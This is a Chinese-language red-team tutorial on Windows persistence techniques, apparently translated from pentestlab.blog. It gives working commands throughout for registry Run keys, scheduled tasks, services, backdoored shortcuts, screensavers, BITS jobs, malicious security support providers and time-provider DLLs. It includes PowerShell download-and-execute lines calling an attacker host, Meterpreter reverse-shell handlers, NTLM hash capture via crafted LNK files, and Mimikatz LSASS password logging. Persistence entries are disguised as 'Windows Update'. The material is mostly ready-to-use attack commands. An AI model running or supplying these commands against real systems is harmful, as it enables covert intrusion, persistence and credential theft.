windows权限维持
注册表运行键
在Windows登录期间创建将执行任意负载的注册表项是红队游戏手册中最古老的技巧之一
命令行
注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用一下注册表位置
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe" reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
注册表–当前用户的Run键
如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
注册表–本地计算机Run键
在下一次登录期间,有效负载将执行并与回传给Meterpeter。
Meterpreter –Run键
另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登录期间执行,并且需要管理员级别的特权。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep end" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"
Meterpreter –任意DLL
Metasploit
Metasploit Framework通过使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。
Meterpreter脚本将以VBS脚本的形式创建一个有效负载,该负载将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行该有效负载。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
Metasploit-Meterpreter持久性脚本
用户下次登录系统时,将打开一个新的Meterpreter会话
Metasploit-Meterpreter会话
另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系统上的可写位置
use post/windows/manage/persistence_exe set REXEPATH /tmp/pentestlab.exe set SESSION 2 set STARTUP USER set LOCALEXEPATH C:\tmp run
Metasploit-持久性利用后开发模块配置
由于已选择**USER
**作为选项,该模块将使用当前用户的注册表位置
Metasploit-持久性后期开发模块
如果已获得系统级别得特权,则可以将该模块配置为在**HKLM
**位置中创建注册表项。
该**STARTUP
**选项将需要改变系统。
set STARTUP SYSTEM
Metasploit-作为系统的持久性模块
SharPersist
SharPersisthttps://github.com/fireeye/SharPersist,
Brett Hawkinshttps://twitter.com/h4wkst3r在C#中开发的工具,它结合了多种持久性技术,包括添加注册表运行键。
该工具包可以加载到支持反射加载的各种命令和控制框架中,例如Cobalt Strike和PoshC2。
以下命令将创建一个注册表项,该注册表项将从与Metasploit Framework模块相同的注册表位置执行任意
有效负载。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add
SharPersist –以用户身份注册
如果已获得提升得访问权限,请修改命令以在本地计算机位置中安装注册表项,以实现所有用户的持久性。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env
SharPersist –注册为SYSTEM
SharPersist还通过**RunOnce
和RunOnceEx
**注册表项包含持久性功能。以下命令将在这些位置创建注册表项,这些注册表项将执行任意有效负载
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add
SharPersist – RunOnce注册表项
SharPersist还提供了使用另一个注册表位置进行持久化的选项**(UserInitMprLogonScript)
**。
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -k "logonscript" -m add
SharPersist –登录脚本
PoshC2
PoshC2支持各种持久性功能,包括注册表运行键的方法。以下命令将在目标主机中创建两个注册表项。
install-persistence
PoshC2 –持久性
注册表的”运行“项将具有IEDpdate的名称,以便看起来合法,第二个注册表项将作为墙纸隐藏在注册表中
PoshC2 –注册表运行键
Empire
如果将Empire用作命令和控件,Empire包含两个与通过注册表运行项与持久性技术对齐的模块。根据特权级别,这些模块将尝试在以下注册表位置中安装base64有效负载:
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
Empire – Debug 注册表项有效负载
usemodule persistence/userland/registry usemodule persistence/elevated/registry*
Empire –Persistence Registry Module
将在名称****Updater下创建另一个注册表项,该注册表项将包含要执行的命令。PowerShell将尝试在下次登录时运行Debug密钥中存储的有效负载,以实现持久性。
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Empire – Registry Run Key
计划任务
windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被****red team利用。通过计划任务执行持久性,不需要管理员权限。但如果已获取提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务
计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行。
它们可以是可执行文案金、powershell脚本或是scriptlet的形式。
这被认为是一种旧的持久性技术,但是它任然可以在****red team场景中使用,并且由各种开源工具支持
Metasploit和web_delivery模块可用于托管和生成各种格式的有效载荷
use exploit/multi/script/web_delivery set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.2.21 set target 5 exploit
在命令提示符下,”schtasks“可执行文件可用于创建计划任务,该任务将在每个windows登录中以system的形式下载并执行基于powershell的有效负载
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
命令提示符--持久性计划任务
当用户再次使用系统登录时,将执行有效负载,并打开meterpreter会话
Meterpreter – 持久性计划任务
也可以在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
#(X64) - On System Start
schtasks /create /tn PentestLab /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"**
**/sc onstart /ru System#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"**
**/sc onidle /i 30#(X86) - On User Login
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"**
**/sc onlogon /ru System#(X86) - On System Start
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onstart /ru System
#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
有效负载的执行也可以在特定的时间发生,并且可以具有到期日期和自删除功能。“schtasks”实用程序提供了必要的选项,因为它是其功能的一部分。
schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%
持续性–计划任务日期和时间
果为目标事件启用了事件日志记录,则可以在特定的Windows事件中触发任务。b33f在他的网站上演示了此技术。Windows事件命令行实用程序可用于查询事件ID
wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]
查询事件ID
可以创建一个计划任务,该任务将在系统上发生关联的事件ID时执行有效负载。
schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
持久性–计划任务事件ID
“查询”参数可用于检索新创建的计划任务的信息
schtasks /Query /tn OnLogOff /fo List /v
查询计划任务
当用户管理员注销时,将创建事件ID,并在下次登录时执行有效负载。
计划任务注销– Meterpreter
或者,可以使用PowerShell创建计划任务,这些任务将在用户登录时或在特定时间和日期执行。
持久性计划任务– PowerShell
SharPersist
github项目地址:https://github.com/fireeye/SharPersist
通过计划任务在SharPersist中添加了关于持久性的多种功能。如果用户具有管理员级别的特权,则以下命令可以创建一个新的计划任务,该任务将在Windows登录期间执行。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon
SharPersist –新计划任务登录
在系统的下一次重新引导中,有效负载将执行,并且Meterpreter会话将打开。
Meterpreter – SharPersist计划任务
SharPersist也可用于列出特定的计划任务,以识别所有者,触发器和要执行的动作。
SharPersist -t schtask -m list -n "PentestLab"
SharPersist –列表计划任务
或者,仅使用“ list ”选项而不指定名称将枚举系统上所有现有的计划任务。
SharPersist -t schtask -m list
SharPersist –列表计划任务
类似于Metasploit Framework功能,该功能具有检查目标是否易受攻击以及漏洞利用能否成功执行的功能,SharPersist具有空运行检查。
通过检查名称和提供的参数,此功能可用于验证调度任务命令。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist –检查计划任务
SharPersist还可以枚举登录期间将执行的所有计划任务。此命令可用于主机的态势感知期间,并确定是否存在可以修改以运行有效负载而不是创建新任务的现有计划任务。
SharPersist -t schtaskbackdoor -m list -o logon
SharPersist –列出登录计划任务
该schtaskbackdoor功能与检查相结合的参数可以识别,如果一个特定的计划任务已后门。
SharPersist -t schtaskbackdoor -m list -o logon
SharPersist –检查后门计划任务
“Add”参数将后门现有的计划任务,该任务将执行恶意命令,而不是执行更隐蔽的持久性选项来执行
合法动作。
"/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add
SharPersist –后门计划任务
Empire
Empire根据活动代理的特权包含两个模块,这些模块可用于实施计划任务的持久性技术。
以下配置每天凌晨03:22将执行基于PowerShell的有效负载。有效负载存储在注册表项中,任务名称为“WindowsUpdate ”,以便区分合法的计划任务。
usemodule persistence/userland/schtasks set Listener http set TaskName WindowsUpdate set DailyTime 03:22 execute
Empire – 持久性计划任务
计划任务的提升模块提供了在用户登录期间执行有效负载的选项。在这两个模块中,都将使用注册表以Base64编码格式存储有效负载,但是以不同的注册表项存储。
usemodule persistence/elevated/schtasks* set Listener http
Empire Elevated – 持久性计划任务
PowerSploit
PowerSploit的持久性模块支持各种功能,可用于向脚本或脚本块添加持久性功能。在添加持久性之前,需要配置高架选项和用户选项。
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly $UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
PowerSploit –计划任务
创建新服务
如果未正确配置windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升
创建一个新的服务需要管理员级别的权限,它已经不是隐藏的持久性技术。
然而,在红队的行动中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应创建SOC能力,以识别在其恶意软件中使用基本技术的威胁
命令行实现
如果帐户具有本地管理员特权,则可以从命令提示符创建服务。参数“ binpath ”用于执行任意有效负载,而参数“ auto ”用于确保恶意服务将自动启动。
sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem" sc start pentestlab
CMD –新服务
或者,可以直接从PowerShell创建新服务。
New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic sc start pentestlab
PowerShell持久性–新服务
在两种情况下,启动服务时都会打开Meterpreter会话。
Meterpreter –新服务
SharPersist
https://github.com/fireeye/SharPersist
SharPersist支持在受感染系统中创建新服务的持久性技术。在系统上安装新服务需要提升的访问权限(本地管理员)。
以下命令可用于添加新服务,该服务将在Windows启动期间作为本地系统执行任意有效负载。
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -n "pentestlab" -m add
SharPersist –添加服务
Meterpreter会话将再次建立,或者与任何其他能够与有效负载进行通信的命令和控制框架建立连接。
SharPersist –通过服务的计费器
PowerSploit
https://github.com/PowerShellMafia/PowerSploit
PowerSploit可用于对合法服务进行后门程序以实现持久性。可以利用两个PowerShell函数来修改现有服务的二进制路径,或者从先前手动创建的自定义服务中修改二进制路径,以执行任意有效负载。
Set-ServiceBinPath -Name pentestlab -binPath "cmd.exe /k C:\temp\pentestlab.exe" Write-ServiceBinary -Name pentestlab -Command "cmd.exe /k C:\temp\pentestlab.exe"
PowerSploit –持久性
PoshC2
https://github.com/nettitude/PoshC2_Python
PoshC2还具有创建新服务作为持久性技术的能力。但是,将执行base-64 PowerShell负载,而不是任意可执行文件。
从植入物处理机,以下模块将自动执行该技术
install-servicelevel-persistence
PoshC2持久性–安装新服务
PoshC2将自动生成有效负载,并且该命令将在目标系统上执行以创建新服务。
PoshC2持久性–新服务
该服务将自动启动,并具有名称“ CheckpointServiceUpdater ”,以使其看起来合法。
PoshC2持久性–创建新服务
Metasploit
Metasploit框架具有一个后开发模块,该模块支持两种持久性技术。
https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/
- 注册表运行键[上方链接]
- 新服务
需要将启动变量修改为SERVICE,以便在系统上安装新服务。
use post/windows/manage/persistence_exe set REXEPATH /tmp/pentestlab.exe set SESSION 1 set STARTUP SERVICE set LOCALEXEPATH C:\tmp run
Metasploit持久性模块–服务
需要Metasploit多重/处理程序模块来捕获有效负载并与受感染的主机建立Meterpreter会话。
Metasploit Meterpreter –通过新服务的持久性
快捷方式修改
windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用
从恶意软件出现之初,便已将快捷方式用作执行恶意代码以实现持久性的一种方法
快捷方式的文件扩展名是.LNK,它为红队提供了很多机会来执行各种格式的代码(exe,vbs,Powershell,scriptlet等)或窃取NTLM哈
希
更隐蔽的方法是修改现有合法快捷方式的属性,但是生成具有不同特征的快捷方式可以为代码执行提供灵活性
Empire
Empire包含一个持久性模块,该模块可以后门合法的快捷方式(.LNK),以执行任意的PowerShell有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中base64脚本
usemodule persistence/userland/backdoor_lnk
Empire–后门现有快捷方式
查看快捷方式的属性将显示目标字段已成功修改以执行PowerShell有效负载
Empire-修改后的快捷方式
由于快捷方式存在于启动文件夹中,因此暂存器将在下一次Windows登录中执行,并且将与命令和控制服务器建立连接。
Empire-通过快捷方式成功上线
但是,Empire包含一个可用于生成具有LNK文件格式的暂存器的模块。
usestager windows/launcher_lnk set Listener http execute
Empire-创建快捷方式
默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。
Empire-写字板快捷方式
快捷方式的目标字段将使用执行Base64有效负载的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性
Empire-快捷属性
SharPersist
https://github.com/fireeye/SharPersist
SharPersist能够创建Internet Explorer快捷方式,该快捷方式将执行任意有效负载并将其放置在启动文件夹中以实现持久性。
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\temp\pentestlab.exe" -f "pentestlab" -m add
SharPersist –快捷方式
当用户进行身份验证时,将执行有效负载,并打开Meterpreter会话.
SharPersist – Meterpreter
PoshC2
PoshC2可以创建一个LNK文件并将其直接放置在Windows启动文件夹中以保持持久性。
可以通过执行以下命令来调用此技术:
install-persistence 3
PoshC2 –启动LNK文件
在Windows登录期间,快捷方式将尝试在注册表项上执行值,该注册表项包含base64格式的stager。
PoshC2 –快捷方式
杂项
在常见的红色团队工具包之外,还有多个脚本可用于开发恶意快捷方式。将这些快捷方式放置在启动文件夹中以保持持久性将是一个微不足道的过程,因为假定已经存在与命令和控制服务器的通信。
https://github.com/it-gorillaz/lnk2pwn
lnk2pwn是用Java编写的工具,可用于制作恶意快捷方式。可以通过命令控制台在生成快捷方式期间嵌入任意命令
java -jar lnk2pwn.jar
lnk2pwn – GUI
默认情况下,lnk2pwn将生成伪造的记事本快捷方式,但是可以轻松更改图标
lnk2pwn –假记事本快捷方式
https://github.com/Plazmaz/LNKUp
使用LNKUp python脚本可以实现类似的结果,该脚本可以生成可以执行任意命令或窃取目标用户的NTLM哈希的快捷方式
python generate.py --host 10.0.2.21 --type ntlm --output out.lnk
LNKUp – NTLM哈希快捷方式
由于生成的LNK文件将包含UNC路径,因此需要使用响应器,或者具有捕获NTLM哈希值的Metasploit模块。
use auxiliary/server/capture/smb
LNKUp – NTLM捕获
密码哈希可以用于脱机破解或NTLM中继攻击,以便访问其他系统或用户的电子邮件。LNKUp还具有生成将执行任意命令的快捷方式的功能。
python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:\temp\pentestlab.exe"
LNKUp –执行命令
https://github.com/xillwillx/tricky.lnk
xillwillx开发了一个名为ricky.lnk的PowerShell脚本,该脚本可以创建一个以.unik字符欺骗的.LNK文件,该字符反转.lnk扩展名并在文件末尾附加.txt。
生成的扩展名将包含一个PowerShell命令,该命令将从远程服务器下载文件并直接在系统上执行
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - ExecutionPolicy Bypass -noLogo -Command (new-objectSystem.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;
Tricky2 – PowerShell
或者,该项目包含一个VBS脚本,该脚本可以执行与PowerShell版本相同的操作
Tricky – VBS脚本
屏幕保护程序
屏幕保护是windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。
总所周知,windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr
文件扩展名的可执行文件,并通过scrnsave.scr
实用程序执行
屏幕保护程序设置存储在注册表中,从令人反感的角度来看,最有价值的值是:
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
屏幕保护程序–注册表项
可以通过命令提示符或从powershell控制台修改或添加注册表项。由于.scr
文件本质上是可执行文件,因此两个扩展名都可以用于后门植入
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr New-ItemProperty -Path 'HKCU:\Control Panel\Desktop ' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe' New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.scr'
添加注册表项– CMD和PowerShell
一旦机器不活动时间段过去,将执行任意有效载荷,并且将再次建立命令和控制的通信。
屏幕保护程序– Meterpreter
https://github.com/samratashok/nishang
Nishang框架包含一个PowerShell脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理级别的特权,因为它在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell命令。这种技术的好处是它不会接触磁盘
Import-Module .\Add-ScrnSaveBackdoor.ps1 Add-ScrnSaveBackdoor -PayloadURL [http://192.168.254.145/Bebr7aOemwFJO](http://192.168.254.145/Bebr7aOemwFJO)
Nishang –屏幕保护程序后门
在这种情况下,可以使用Metasploit Web交付模块生成并托管PowerShell负载。
一旦用户会话变为空闲,屏幕保护程序将执行PowerShell负载,然后将打开一个meterpreter会话。
use exploit/multi/script/web_delivery set payload windows/x64/meterpreter/reverse_tcp set LHOST IP_Address set target 2 exploit
Meterpreter –屏幕保护程序
利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。
但是,红队可以在用户不在时执行其操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。
BITS Jobs
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。
这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。
Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件,PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。
但是,与“bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地目录。
bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:\tmp\pentestlab.exe
Bitsadmin –文件传输
还有一个PowerShell cmdlet可以执行相同的任务。
Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination "C:\tmp\pentestlab.exe"
BitsTrasfer –传输文件PowerShell
将文件放入磁盘后,可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。用法非常简单:
- 在创建参数需要作业的名称
- 该addfile需要文件的远程位置和本地路径
- 该SetNotifyCmdLine将执行的命令
- 所述SetMinRetryDelay定义时间回调(秒)
- 该简历参数将运行位工作。
bitsadmin /create backdoor bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe" "C:\tmp\pentestlab.exe" bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL bitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor
持久性--BITS Jobs 当作业在系统上运行时,有效负载将被执行,Meterpreter会话将打开,或者通信将被接收回命令和控制(取决于场合中使用的C2)。
持久性– BITS Jobs Meterpreter
regsvr32 = https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
参数SetNotifyCmdLine也可以用于通过regsvr32实用程序从远程位置执行scriptlet 。这种方法的好处是它不会接触磁盘,并且可以避开将应用程序列入白名单的产品。
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll" bitsadmin /resume backdoor
BITS Jobs – Regsvr32
Metasploit框架可用于通过web交付模块捕获有效负载
use exploit/multi/script/web_delivery set target 3 set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.2.21 exploit
BITS Jobs – Regsvr32
安全支持提供者
安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。
LSASS进程正在Windows启动期间加载安全支持提供程序DLL。
这种行为使红队的攻击者可以删除一个任意的SSPDLL以便与LSASS进程进行交互并记录该进程中存储的所有密码,或者直接用恶意的SSP对该进程进行修补而无需接触磁盘。
该技术可用于收集一个系统或多个系统中的凭据,并将这些凭据与另一个协议(例如RDP,WMI等)结合使用,以免干扰检测,从而在网络中保持持久性。
向主机注入恶意安全支持提供程序需要管理员级别的特权,并且可以使用两种方法:
- 注册SSP DLL
- 加载到内存
Mimikatz,Empire和PowerSploit支持这两种方法,可以在红队操作中使用。
Mimikatz
链接:https://github.com/gentilkiwi/mimikatz/releases
项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。
*C:\Windows\System32*
将文件传输到上述位置后,需要修改注册表项以包括新的安全支持提供程序mimilib
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
SSP – mimilib注册表
查看“安全软件包”注册表项将验证是否已注入恶意安全支持提供程序。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
注册表–安全软件包
由于注册表已被篡改并且DLL存储在系统中,因此该方法将在重新启动后继续存在。
当域用户再次通过系统进行身份验证时,将创建一个名为kiwissp的新文件,该文件将记录帐户的凭据。
C:\Windows\System32\kiwissp.log
Mimikatz – kiwissp
另外,Mimikatz通过向LSASS注入新的安全支持提供程序(SSP)来支持内存技术选项。
此技术不需要将mimilib.dll放入磁盘或创建注册表项。但是,缺点是在重新启动过程中不会持续存在。
privilege::debug misc::memssp
Mimikatz –内存中的SSP
当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件,其中将包含纯文本用户密码。
C:\Windows\System32\mimilsa.log
.Mimikatz – mimilsa
Empire
Empire提供了两个模块,可用于枚举现有的SSP并在目标系统上安装恶意的SSP。默认情况下,枚举模块将使用活动代理,并且不需要任何其他配置。
usemodule persistence/misc/get_ssps execute
Empire – SSP 枚举
同样,直接查询注册表可以获取存在的SSP的值。
shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
注册表SSP的枚举注册表
将恶意安全支持提供程序复制到System32并更新注册表项将结束该技术。
shell copy mimilib.dll C:\Windows\System32\
将mimilib.dll复制到System32
由于Empire包含一个模块,该过程可以自动进行,该模块将自动将DLL文件复制到System32并创建注册表项。唯一的要求是在主机上设置mimilib.dll文件的路径。
usemodule persistence/misc/install_ssp set Path C:\Users\Administrator\mimilib.dll execute
Empire SSP安装
Empire还支持可以执行自定义Mimikatz命令的脚本。
usemodule credentials/mimikatz/command set Command misc::memssp execute
Mimikatz – SSP命令
Empire还支持在进程的内存中注入恶意SSP。下面的模块将调用Mimikatz脚本并直接执行memssp命令,作为使该技术自动化的另一种方法。
usemodule persistence/misc/memssp* execute
Empire – memssp
PowerSploit
https://github.com/PowerShellMafia/PowerSploit
PowerSploit包含两个可以执行相同任务的脚本。在Mimikatz的PowerShell变体“ Invoke-Mimikatz ”中,执行以下命令将使用内存中技术
Import-Module .\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command "misc::memssp"
PowerSploit – Mimikatz SSP
或者,将恶意的SSP DDL文件传输到目标主机并使用模块Install-SSP将DLL复制到System32,并将自动修改相关的注册表项。
Import-Module .\PowerSploit.psm1 Install-SSP -Path .\mimilib.dll
PowerSploit –安装SSP
SharpSploitConsole
https://github.com/anthemtotheego/SharpSploitConsole
https://github.com/cobbr/SharpSploit
Mimikatz已集成到SharpSploitConsole中,该应用程序旨在与Ryan Cobb发布的SharpSploit进行交互。SharpSploit是一个.NET后期开发库,具有与PowerSploit类似的功能。当前,SharpSploitConsole通过Mimikatz模块支持内存技术。
SharpSploitConsole_x64.exe Interact Mimi-Command misc::memssp
SharpSploitConsole – memssp
时间服务器
Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳。
时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。
Windows启动期间将启动服务W32Time并加载w32time.dll。
DLL加载是一种已知的技术,通常使红队攻击者有机会执行任意代码。
由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。
但是,此方法需要管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。
根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer
该W32Time将运行在Windows环境作为本地服务,它是通过svchost的执行。
W32Time服务
恶意DLL已放入磁盘中,将执行有效负载。在命令提示符下,可以通过执行以下命令以指向任意DLL的位置来修改时间提供者注册表项。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll"
时间提供者–注册表项修改
从注册表编辑器中查看注册表将确认DllName的值已更新。
时间提供者–恶意DLL
该服务将在Windows启动期间启动,或者通过执行以下命令手动启动。
sc.exe stop w32time sc.exe start w32time
时间提供者–重新启动服务
将执行任意有效负载,并建立Meterpreter会话。
时间提供者– Meterpreter
